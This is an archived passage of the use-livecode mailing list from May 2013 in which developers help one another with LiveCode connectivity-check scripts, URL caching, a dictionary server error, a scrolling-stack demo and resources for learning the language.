Shawn Blc wrote: >> >>> I have a little script to check for an internet connection. Problem is >>> that if I take this little script out of the preOpenCard and put it into a >>> button the results are the same. It keeps the last state, regardless if I >>> disconnect my wifi or not. I'm thinking that the URL that I'm connecting >>> to to check for an internet connection is still in cache. >>> >>> How would I clear this cache? These don't work. >>> clear URL >>> clear cache >>> >>> Any help is appreciated or at least point me in the right direction. >>> >>> Dank. >>> ______________________________**_________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>> >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From coiin at verizon.net Sun May 19 19:04:27 2013 From: coiin at verizon.net (Colin Holgate) Date: Mon, 20 May 2013 00:04:27 +0100 Subject: scrolling stack I made In-Reply-To: <1369000505562-4665114.post@n4.nabble.com> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> Message-ID: <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> Hopefully some of you will try it on iOS and Android, it works well there too. On May 19, 2013, at 10:55 PM, Alejandro Tejada wrote: > >This Scrolling Stack works really nice in Windows, too! :D From capellan2000 at gmail.com Sun May 19 19:09:08 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 19 May 2013 16:09:08 -0700 (PDT) Subject: Resources Index to learn LiveCode Message-ID: <1369004948164-4665118.post@n4.nabble.com> Resources Index to learn LiveCode Hi All, Does exists a single page with an index of all resources (free or not) available to learn programming in this platform, that I could sent to anyone interested in learning to program using LiveCode? Now that LiveCode Community is available in every desktop platform, I am contacting again every developer that previously have seen or used one of my stacks or applications created in this platform. I have discovered that they ask me for "step by step" short videos that allow them to compare the "LiveCode way" with their current tool... If these short videos arises their interests then, and only then, they will "invest" more time to learn this platform... Thanks in advance! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Resources-Index-to-learn-LiveCode-tp4665118.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Sun May 19 19:22:06 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 19 May 2013 16:22:06 -0700 (PDT) Subject: scrolling stack I made In-Reply-To: <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> Message-ID: <1369005726322-4665119.post@n4.nabble.com> Hi Colin, Would you like to test if your code could be adapted to create this kind of infinite zoom effect in iOS or Android device? No iPad, iPhone or Android device in my developer desk... http://runtime-revolution.278305.n4.nabble.com/Second-test-for-Infinite-Zoom-td3642705.html Thanks in advance! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/scrolling-stack-I-made-tp4665050p4665119.html Sent from the Revolution - User mailing list archive at Nabble.com. From irog at mac.com Sun May 19 20:06:32 2013 From: irog at mac.com (Roger Guay) Date: Sun, 19 May 2013 17:06:32 -0700 Subject: scrolling stack I made In-Reply-To: <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> Message-ID: <4DFD8E2E-EAC1-4F04-BD53-987A9C11E64D@mac.com> Hi Colin, I tried it in the iOS simulator where it opened but remained static. How do you initiate scrolling? Thanks, Roger On May 19, 2013, at 4:04 PM, Colin Holgate wrote: > Hopefully some of you will try it on iOS and Android, it works well there too. > > > On May 19, 2013, at 10:55 PM, Alejandro Tejada wrote: > >>> This Scrolling Stack works really nice in Windows, too! :D > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From shawnlivecode at gmail.com Sun May 19 22:05:11 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sun, 19 May 2013 21:05:11 -0500 Subject: How to clear the cache In-Reply-To: <519957A3.5060900@tweedly.net> References: <5198DC52.1040604@tweedly.net> <519957A3.5060900@tweedly.net> Message-ID: Mr. Alex, Thank you very much. This newbie appreciates the help and explanation. Shawn On Sun, May 19, 2013 at 5:52 PM, Alex Tweedly wrote: > Shawn, > you have a couple of issues here ... > > 1. (minor) > if this is the entire script, then tCount is a local (i.e. handler > local) variable, so it is re-created each time the handler is called, so > you finish up with the same value each time. I think you ant to make it a > script-local variable (i.e. declare it outside any handler) and then it > retains its value from one call to the next. (I'm also paranoid, so I added > a check for it not being a number). And since it's a script-local, I > renamed it to sCount :-) > > 2. in line 3, you have an extra keyword "URL" You have > > *put* URL ("www.google.com?count=" & tCount) into pURL > > and you need to simply have > > *put* ("www.google.com?count=" & tCount) into pURL > > We are just trying to build up the string of the URL - what you had was > trying to fetch it. > > 3. (trivial) I renamed pURL to tURL just to follow convention - it's a > local variable, not a parameter :-) > > > I changed those - and a couple of other things for my testing, and got the > following script which seems to work OK; fails with "invalid host address" > when wifi is switched off. > > > > local sCount > on mouseUp > if sCount is not a number then > put 1 into sCount > else > add 1 to sCount > end if > put ("http://www.google.com/?**count= " > & sCount) into tURL > put the millisecs && tURL &CR& the Result &CR&CR after field "F" -- > just for testing > get URL tURL > if the result is empty then > put the millisecs &&"success" &CR after field "F" > else > put the millisecs && the result &CR after field "F" > end if > end mouseUp > > -- Alex. > > > On 19/05/2013 17:56, Shawn Blc wrote: > >> Alex, >> >> I added your idea of varying the URL each time, but still not able to get >> the script to work correctly. See below. >> >> For instance, on my mac, when I disable wifi I shouldn't be able to >> connect, when I enable my wifi I should be able to connect. >> >> What's wrong with my script? >> >> >> *on* mouseUp >> >> *add* 1 to tCount >> >> *put* URL ("www.google.com?count=" & tCount) into pURL >> >> *get* URL pURL >> >> *put* the result into tResult >> >> *if* tResult is not empty *then* >> >> *put* "disconnected" && tResult into field "fldStatus" >> >> *show* image "imageRed" >> >> *hide* image "imageGreen" >> >> *return* false >> >> *else* >> >> *put* "connected" into field "fldStatus" >> >> *show* image "imageGreen" >> >> *hide* image "imageRed" >> >> *end* *if* >> >> *end* mouseUp >> >> >> >> On Sun, May 19, 2013 at 9:06 AM, Alex Tweedly wrote: >> >> unload URL tURL >>> >>> or if you prefer make the URL vary each time >>> >>> add 1 to tCount >>> put ("http://mydomain.com/****theurlname.lc?count= >>> >>> >" >>> >>> & tCount) into tURL >>> and use that URL. >>> >>> -- Alex. >>> >>> >>> >>> On 19/05/2013 12:59, Shawn Blc wrote: >>> >>> I have a little script to check for an internet connection. Problem is >>>> that if I take this little script out of the preOpenCard and put it >>>> into a >>>> button the results are the same. It keeps the last state, regardless >>>> if I >>>> disconnect my wifi or not. I'm thinking that the URL that I'm >>>> connecting >>>> to to check for an internet connection is still in cache. >>>> >>>> How would I clear this cache? These don't work. >>>> clear URL >>>> clear cache >>>> >>>> Any help is appreciated or at least point me in the right direction. >>>> >>>> Dank. >>>> ______________________________****_________________ >>>> >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/****mailman/listinfo/use-livecode >>>> <**http://lists.runrev.com/**mailman/listinfo/use-livecode >>>> > >>>> >>>> >>> ______________________________****_________________ >>> >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/****mailman/listinfo/use-livecode >>> <**http://lists.runrev.com/**mailman/listinfo/use-livecode >>> > >>> >>> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Sun May 19 22:08:42 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sun, 19 May 2013 21:08:42 -0500 Subject: Dictionary Server Error In-Reply-To: References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> <121D0BAD-7217-4720-BDF5-7CDF5F6D9578@swcp.com> Message-ID: Works with LC 6.0.1 Commercial Build 1513. I like it and don't have to deal with that annoying error! Thank you to Pete for recommending BvG Docu 2 and thank you to Bj?rnke for creating it! On Sun, May 19, 2013 at 5:09 PM, Peter Haworth wrote: > I haven't tried it with that version of LC but it's worked with every > version of LC I've tried it with. Bjornke may respond but I think the only > time there are isseus is if the format of the dictionary changes > > Pete > lcSQL Software > > > On Sun, May 19, 2013 at 2:30 PM, Shawn Blc > wrote: > > > What version of LC are you using. Does BvG Docu 2 work with 6.0.1 Build > > 1513 Commercial? > > > > > > > > > > On Sun, May 19, 2013 at 4:27 PM, Dar Scott wrote: > > > > > I found the link to BvG Docu 2 at the foot of Bjornke's email. I > > > downloaded, opened the stack and it installed itself. > > > > > > Thanks for the tip. > > > > > > > > > On May 19, 2013, at 10:47 AM, Peter Haworth wrote: > > > > > > > I highly recommend using Bjornke's BvG Docu 2 plugin as an > alternative > > to > > > > the IDE dictionary viewer. It's much more flexible, and it's free. > I > > > > never use the IDE dictionary viewer these days. > > > > > > > > Pete > > > > lcSQL Software > > > > > > > > > > > > On Sat, May 18, 2013 at 7:54 PM, Jerry Jensen wrote: > > > > > > > >> Yes. Since the server "upgrade". This is bad. It REALLY needs fixing > > > ASAP. > > > >> Try to give good demo with this happening! > > > >> > > > >> Server people, wake up! Odin is down. http://on-rev.com is 404. > > > >> > > > >> > > > >> On May 18, 2013, at 7:37 PM, Shawn Blc > > wrote: > > > >> > > > >>> When I click on the dictionary I'm getting something that looks > like > > > the > > > >>> following in the message box (this goes on for several lines). > > Anyone > > > >> else > > > >>> getting this error? It's a pain in the rear. Any fix? > > > >>> > > > >>> The following server error was encountered: > > > >>> > > > >>> --------------------------------------------------------- > > > >>> > > > >>> pUrl: > > > >>> > > > >> > > > > > > http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D > > > >>> > > > >>> pStatus: cached > > > >>> > > > >>> UrlData: > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> _______________________________________________ > > > >>> use-livecode mailing list > > > >>> use-livecode at lists.runrev.com > > > >>> Please visit this url to subscribe, unsubscribe and manage your > > > >> subscription preferences: > > > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > > > >> > > > >> > > > >> _______________________________________________ > > > >> use-livecode mailing list > > > >> use-livecode at lists.runrev.com > > > >> Please visit this url to subscribe, unsubscribe and manage your > > > >> subscription preferences: > > > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > >> > > > > _______________________________________________ > > > > use-livecode mailing list > > > > use-livecode at lists.runrev.com > > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From coiin at verizon.net Sun May 19 22:41:00 2013 From: coiin at verizon.net (Colin Holgate) Date: Sun, 19 May 2013 22:41:00 -0400 Subject: scrolling stack I made In-Reply-To: <4DFD8E2E-EAC1-4F04-BD53-987A9C11E64D@mac.com> References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> <1369000505562-4665114.post@n4.nabble.com> <2B3D1A0A-1557-47F8-8202-189F492CD321@verizon.net> <4DFD8E2E-EAC1-4F04-BD53-987A9C11E64D@mac.com> Message-ID: The iOS Simulator doesn't do accelerometer as far as I know. You could remove the if statement on the mouse handler, then you can click to make it scroll. I wouldn't bother though, the performance is nowhere near as good as on desktop or a real device. On May 19, 2013, at 8:06 PM, Roger Guay wrote: > I tried it in the iOS simulator where it opened but remained static. How do you initiate scrolling? From bertshuler at yahoo.com Sun May 19 23:13:15 2013 From: bertshuler at yahoo.com (Bert Shuler) Date: Sun, 19 May 2013 23:13:15 -0400 Subject: Dictionary Server Error In-Reply-To: <405AC4D1-D9F6-4A62-BC54-E401E7ED7154@mac.com> References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> <121D0BAD-7217-4720-BDF5-7CDF5F6D9578@swcp.com> <405AC4D1-D9F6-4A62-BC54-E401E7ED7154@mac.com> Message-ID: Link to it? On May 19, 2013, at 5:43 PM, Bj?rnke von Gierke wrote: > Should work on all recent versions. there's a weird bug since 6.0.0 when starting the LC IDE by double clicking my installation stack (so only when installing and only when the IDE isn't already running), I'm working on a new version which fixes this, and some small render issues. > > > If you can't get it to run, just shoot me an email :) > > On 19.05.2013, at 23:30, Shawn Blc wrote: > >> What version of LC are you using. Does BvG Docu 2 work with 6.0.1 Build >> 1513 Commercial? >> >> >> >> >> On Sun, May 19, 2013 at 4:27 PM, Dar Scott wrote: >> >>> I found the link to BvG Docu 2 at the foot of Bjornke's email. I >>> downloaded, opened the stack and it installed itself. >>> >>> Thanks for the tip. >>> >>> >>> On May 19, 2013, at 10:47 AM, Peter Haworth wrote: >>> >>>> I highly recommend using Bjornke's BvG Docu 2 plugin as an alternative to >>>> the IDE dictionary viewer. It's much more flexible, and it's free. I >>>> never use the IDE dictionary viewer these days. >>>> >>>> Pete >>>> lcSQL Software >>>> >>>> >>>> On Sat, May 18, 2013 at 7:54 PM, Jerry Jensen wrote: >>>> >>>>> Yes. Since the server "upgrade". This is bad. It REALLY needs fixing >>> ASAP. >>>>> Try to give good demo with this happening! >>>>> >>>>> Server people, wake up! Odin is down. http://on-rev.com is 404. >>>>> >>>>> >>>>> On May 18, 2013, at 7:37 PM, Shawn Blc wrote: >>>>> >>>>>> When I click on the dictionary I'm getting something that looks like >>> the >>>>>> following in the message box (this goes on for several lines). Anyone >>>>> else >>>>>> getting this error? It's a pain in the rear. Any fix? >>>>>> >>>>>> The following server error was encountered: >>>>>> >>>>>> --------------------------------------------------------- >>>>>> >>>>>> pUrl: >>> http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D >>>>>> >>>>>> pStatus: cached >>>>>> >>>>>> UrlData: >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> _______________________________________________ >>>>>> use-livecode mailing list >>>>>> use-livecode at lists.runrev.com >>>>>> Please visit this url to subscribe, unsubscribe and manage your >>>>> subscription preferences: >>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your >>>>> subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From shawnlivecode at gmail.com Sun May 19 23:23:19 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sun, 19 May 2013 22:23:19 -0500 Subject: Dictionary Server Error In-Reply-To: References: <715B69C0-9073-4337-AF41-F6A048571360@jhj.com> <121D0BAD-7217-4720-BDF5-7CDF5F6D9578@swcp.com> <405AC4D1-D9F6-4A62-BC54-E401E7ED7154@mac.com> Message-ID: Here ya go Bert. http://bjoernke.com/?target=bvgdocu On Sun, May 19, 2013 at 10:13 PM, Bert Shuler wrote: > Link to it? > > On May 19, 2013, at 5:43 PM, Bj?rnke von Gierke wrote: > > > Should work on all recent versions. there's a weird bug since 6.0.0 when > starting the LC IDE by double clicking my installation stack (so only when > installing and only when the IDE isn't already running), I'm working on a > new version which fixes this, and some small render issues. > > > > > > If you can't get it to run, just shoot me an email :) > > > > On 19.05.2013, at 23:30, Shawn Blc wrote: > > > >> What version of LC are you using. Does BvG Docu 2 work with 6.0.1 Build > >> 1513 Commercial? > >> > >> > >> > >> > >> On Sun, May 19, 2013 at 4:27 PM, Dar Scott wrote: > >> > >>> I found the link to BvG Docu 2 at the foot of Bjornke's email. I > >>> downloaded, opened the stack and it installed itself. > >>> > >>> Thanks for the tip. > >>> > >>> > >>> On May 19, 2013, at 10:47 AM, Peter Haworth wrote: > >>> > >>>> I highly recommend using Bjornke's BvG Docu 2 plugin as an > alternative to > >>>> the IDE dictionary viewer. It's much more flexible, and it's free. I > >>>> never use the IDE dictionary viewer these days. > >>>> > >>>> Pete > >>>> lcSQL Software > >>>> > >>>> > >>>> On Sat, May 18, 2013 at 7:54 PM, Jerry Jensen wrote: > >>>> > >>>>> Yes. Since the server "upgrade". This is bad. It REALLY needs fixing > >>> ASAP. > >>>>> Try to give good demo with this happening! > >>>>> > >>>>> Server people, wake up! Odin is down. http://on-rev.com is 404. > >>>>> > >>>>> > >>>>> On May 18, 2013, at 7:37 PM, Shawn Blc > wrote: > >>>>> > >>>>>> When I click on the dictionary I'm getting something that looks like > >>> the > >>>>>> following in the message box (this goes on for several lines). > Anyone > >>>>> else > >>>>>> getting this error? It's a pain in the rear. Any fix? > >>>>>> > >>>>>> The following server error was encountered: > >>>>>> > >>>>>> --------------------------------------------------------- > >>>>>> > >>>>>> pUrl: > >>> > http://developer.runrev.com/revonline.irev?request=H4sIAAAAAAAAA2NlYGBgYgUS2QWJRYm5qSWpRcVAHgMLE5AQS8ksSk0uyczPAwu5uAY7MwMZ%0D%0AQsn5pXklDA4qDGAAUimeB9QL4nAVlJYoJGXmJRZVgsRFSioLwOLsyfm5uYl5KWDV0olwQ3ly%0D%0AMotLnIFyqXklxQwAcQ0NB44AAAA%3D > >>>>>> > >>>>>> pStatus: cached > >>>>>> > >>>>>> UrlData: > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> _______________________________________________ > >>>>>> use-livecode mailing list > >>>>>> use-livecode at lists.runrev.com > >>>>>> Please visit this url to subscribe, unsubscribe and manage your > >>>>> subscription preferences: > >>>>>> http://lists.runrev.com/mailman/listinfo/use-livecode > >>>>> > >>>>> > >>>>> _______________________________________________ > >>>>> use-livecode mailing list > >>>>> use-livecode at lists.runrev.com > >>>>> Please visit this url to subscribe, unsubscribe and manage your > >>>>> subscription preferences: > >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode > >>>> _______________________________________________ > >>>> use-livecode mailing list > >>>> use-livecode at lists.runrev.com > >>>> Please visit this url to subscribe, unsubscribe and manage your > >>> subscription preferences: > >>>> http://lists.runrev.com/mailman/listinfo/use-livecode > >>> > >>> > >>> _______________________________________________ > >>> use-livecode mailing list > >>> use-livecode at lists.runrev.com > >>> Please visit this url to subscribe, unsubscribe and manage your > >>> subscription preferences: > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > > > > Use an alternative Dictionary viewer: > > http://bjoernke.com/bvgdocu/ > > > > Chat with other RunRev developers: > > http://bjoernke.com/chatrev/ > > > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From userev at canelasoftware.com Mon May 20 03:49:58 2013 From: userev at canelasoftware.com (Mark Talluto) Date: Mon, 20 May 2013 08:49:58 +0100 Subject: scrolling stack I made In-Reply-To: References: <6A58AF63-AA57-41CA-B65F-1F1775D54CA6@verizon.net> Message-ID: That is a wonderful franchise to be a part of. My kids love Thomas. We have all the movies, books, and a number of trains. Mark canelasoftware.com On May 19, 2013, at 6:31 PM, Colin Holgate wrote: > The landscape in the background is the Island of Sodor. I borrowed the layers from a menu I made for this app: > > https://itunes.apple.com/us/app/thomas-friends-lift-haul-collection/id641291615?mt=8 > > as you can see in the first screenshot. > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From igor at semperuna.com Mon May 20 05:50:46 2013 From: igor at semperuna.com (Igor de Oliveira Couto) Date: Mon, 20 May 2013 19:50:46 +1000 Subject: Resources Index to learn LiveCode In-Reply-To: <1369004948164-4665118.post@n4.nabble.com> References: <1369004948164-4665118.post@n4.nabble.com> Message-ID: On 20/05/2013, at 9:09 AM, Alejandro Tejada wrote: > Does exists a single page with an index of all resources (free or not) > available to learn programming in this platform, that I could sent > to anyone interested in learning to program using LiveCode? A good starting point might be: http://livecode.com/get-started/ Note that the page has links to RunRev's online Beginner's Guide, and the (highly recommendable) online Academies. There are also 2 published books that take a 'step-by-step' approach to teaching LiveCode, and which may be useful: "Programming LiveCode for the Real Beginner": http://www3.economy-x-talk.com/file.php?node=book%253A-programming-livecode-for-real-starters "LiveCode Mobile Development Beginner's Guide": http://www.packtpub.com/livecode-for-android-ios-mobile-development-beginners-guide/book I hope this helps! -- Igor Couto Sydney, Australia From bvg at mac.com Mon May 20 05:53:24 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Mon, 20 May 2013 11:53:24 +0200 Subject: Resources Index to learn LiveCode In-Reply-To: <1369004948164-4665118.post@n4.nabble.com> References: <1369004948164-4665118.post@n4.nabble.com> Message-ID: On 20.05.2013, at 01:09, Alejandro Tejada wrote: > Does exists a single page with an index of all resources (free or not) > available to learn programming in this platform No. Make one :P -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From m.schonewille at economy-x-talk.com Mon May 20 06:01:19 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 20 May 2013 12:01:19 +0200 Subject: Resources Index to learn LiveCode In-Reply-To: <1369004948164-4665118.post@n4.nabble.com> References: <1369004948164-4665118.post@n4.nabble.com> Message-ID: <5199F46F.70803@economy-x-talk.com> Hi Alejandro, I have started a page with links for beginners. http://qery.us/3gy -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/20/2013 01:09, Alejandro Tejada wrote: > Resources Index to learn LiveCode > > Hi All, > > Does exists a single page with an index of all resources (free or not) > available to learn programming in this platform, that I could sent > to anyone interested in learning to program using LiveCode? > > Now that LiveCode Community is available in every > desktop platform, I am contacting again every developer > that previously have seen or used one of my stacks > or applications created in this platform. > > I have discovered that they ask me for "step by step" > short videos that allow them to compare the "LiveCode > way" with their current tool... > > If these short videos arises their interests then, and only > then, they will "invest" more time to learn this platform... > > Thanks in advance! > > Al > From effendi at wanadoo.fr Mon May 20 06:46:24 2013 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Mon, 20 May 2013 12:46:24 +0200 Subject: Strange script apearing in the message box Message-ID: <92DF0257-1E3C-4AB6-8F1F-94BB6A9837BE@wanadoo.fr> Hi from Beautiful Brittany, LiveCode Build 1502, Version 5.5.4, Personal Version While developing a stack : I show the Message Box (cmd-M), I click on "Dictionary" in the LiveCode menu, 'cos I've forgotten how to code a command. Immediately, the message box is filled up with hundreds of lines of "strange" code, beginning with: "The following server error was encountered:" This does not seem to hinder stack development, so I ignore it, but ??.. !!!! Any ideas ? -Francis "Nothing should ever be done for the first time !" From m.schonewille at economy-x-talk.com Mon May 20 06:51:04 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Mon, 20 May 2013 12:51:04 +0200 Subject: Strange script apearing in the message box In-Reply-To: <92DF0257-1E3C-4AB6-8F1F-94BB6A9837BE@wanadoo.fr> References: <92DF0257-1E3C-4AB6-8F1F-94BB6A9837BE@wanadoo.fr> Message-ID: <519A0018.20700@economy-x-talk.com> Hi Francis, That's what the long discussion with the subject "Dictionary Server Error" is about. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/20/2013 12:46, Francis Nugent Dixon wrote: > Hi from Beautiful Brittany, > > LiveCode Build 1502, Version 5.5.4, > Personal Version > > While developing a stack : > > I show the Message Box (cmd-M), > I click on "Dictionary" in the LiveCode menu, > 'cos I've forgotten how to code a command. > > Immediately, the message box is filled up with > hundreds of lines of "strange" code, beginning with: > > "The following server error was encountered:" > > This does not seem to hinder stack development, > so I ignore it, but ??.. !!!! > > Any ideas ? > > -Francis > > "Nothing should ever be done for the first time !" From richmondmathewson at gmail.com Mon May 20 07:17:56 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 20 May 2013 14:17:56 +0300 Subject: Unicode display on Linux. In-Reply-To: <5198E5AE.3060607@warrensweb.us> References: <5198B750.9060107@gmail.com> <5198CE74.5030104@warrensweb.us> <5198E053.3070100@gmail.com> <5198E5AE.3060607@warrensweb.us> Message-ID: <519A0664.2080505@gmail.com> On 05/19/2013 05:46 PM, Warren Samples wrote: > On 05/19/2013 09:23 AM, Richmond wrote: >> >> Bug report or no bug report, I have to work with LC 4.5. >> >> A sorted out bug would appear in a later version; one for which I, >> currently (and many others, I suspect) do not have the money to buy. >> >> Therefore, from my point of view, at least, these sorts of work arounds >> are very important. >> >> Richmond. > > > Richmond, > > Of course it's great to have a workaround and it's admirable that you > shared this one! I understand what you're saying about versions and > for people who are using an older version for which a bugfix will > likely never be made available this is invaluable. However, a bug fix > is obviously more ideal than a workaround and users of future > versions, which could include you at some point, are better served > when fixes are implemented. It does seem you have uncovered a really > helpful piece of information regarding this bug that could lead to a fix. > > Do you have an account at > ? HOWEVER . . . the phenomenon does not seem to be duplicatable, so there must be weevils in my original code (authored on a Mac) that will have to be ferretted out . . . blast! > > Warren > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Mon May 20 07:23:37 2013 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 20 May 2013 14:23:37 +0300 Subject: Dictionary Server nonsense. Message-ID: <519A07B9.90907@gmail.com> The whole thing with the "Dictionary Server Error" does not seem to make much sense as, as far as I understand, all the documentation files are stored locally. For instance, on my Linux Main Box they are stored here: /home/jrm/.runrev/components/livecodecommunity-6.0.1-rc-1/Documentation/ and there are all sorts of "exciting things" there such as the PDF user guide" "This document is revision 19 (2010.11.09)." This did not stop LC 6.0.1 installed on a computer that had no internet connexion from giving me that daft message. Richmond. From m.schonewille at economy-x-talk.com Mon May 20 07:31:21 2013 From: m.schonewille at economy-x-talk.com (Mark 